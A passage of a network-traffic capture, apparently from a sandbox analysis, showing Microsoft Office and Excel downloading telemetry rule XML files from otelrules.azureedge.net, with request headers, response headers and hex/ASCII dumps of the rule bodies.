/> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.8	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:40 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 09188c3a-a01e-0021-2702-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094740Z-r1cf579d7788pwqzhC1EWRrpd8000000059g000000001nhy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.8	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:40 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094740Z-r1cf579d7789trgthC1EWRkkfc00000005n0000000003g71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:41 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.8	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:40 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094740Z-r1cf579d778t5c2lhC1EWRce3w00000005pg000000002755 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.8	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:40 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 58cb8dbf-401e-0078-441e-494d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094740Z-r1cf579d778lntp7hC1EWR9gg400000004dg000000002kyg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:41 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.8	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:40 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 90f2e2a0-001e-0014-5807-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094740Z-r1cf579d778qgtz2hC1EWRmgks00000004yg0000000001e9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.8	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:42 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 549300b5-601e-000d-6903-482618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094743Z-r1cf579d778g2t6ghC1EWRfggs00000004g0000000000yrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:43 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.8	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:42 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a32a4087-901e-0083-2b4e-49bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094743Z-r1cf579d778dfdgnhC1EWRd3w000000004sg000000002tqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.8	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:42 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094743Z-r1cf579d778dc6d7hC1EWR2vs800000005q00000000025eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.8	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:42 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094743Z-r1cf579d778lntp7hC1EWR9gg400000004ag000000005e6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:43 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.8	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:42 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094743Z-r1cf579d778qlpkrhC1EWRpfc800000005tg000000000441 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:43 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49769	13.107.246.63	443	6732	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:42 UTC	207	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: 7a4cb498-401e-00a3-7103-488b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094743Z-r1cf579d778qgtz2hC1EWRmgks00000004vg000000001mgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:43 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.8	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:45 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094745Z-r1cf579d778mvsklhC1EWRkavg0000000560000000003fs6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:45 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 